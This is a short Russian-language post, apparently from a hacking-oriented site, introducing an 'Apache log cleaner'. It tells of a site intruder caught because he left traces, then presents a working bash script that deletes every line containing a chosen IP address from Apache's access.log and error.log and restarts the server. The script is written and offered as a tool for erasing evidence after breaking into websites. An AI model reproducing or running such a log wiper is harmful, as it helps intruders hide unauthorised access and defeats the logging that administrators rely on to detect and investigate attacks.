Логклинер Apache
Суббота, 18 октября 2008 11:43

Логклинер Apache

Оцените материал
(1 Голосовать)
Сидел человек ... делать ему было совершенно нечего, занялся он нехорошими делами, он много занал и почему-то был уверен в том что его никто и никогда не поймает. Ему казалось что он может все, он ломал сайты на право и налево, громил все что попадалось ему под руку, но в один день сильно наследив попался. Сказка? Конечно сказка, ведь он юзал прокси. А вот сглупил он лишь в том, что не подчистил за собой логи. Админы увидев, что кто - то по вечерам копашится у них на серваке через бажный скрипт прикрыли сие нахальство. Так вот, ниже приведен пример простенького лог вайпера для апача, который умеет удалять заданный IP из логов Apache.
#!/bin/bash

if [ -z "$1" ]; then

echo "Usage: $0 <IP_addr>"

exit

else

addr=$1

fi
sed "/$addr/d" "access.log">.temp

rm -f access.log

mv .temp access.log

echo "[+]access.log done"

sed "/$addr/d" "error.log">.temp

rm -f error.log

mv .temp error.log

echo "[+]error.log done"

CTL=`locate apachectl | grep bin`

echo "$CTL"

$CTL restart

#
#writed & tested under Debian linux
#apache 1.3.31-4.1
#
Прочитано 2914 раз Последнее изменение Среда, 07 января 2015 16:17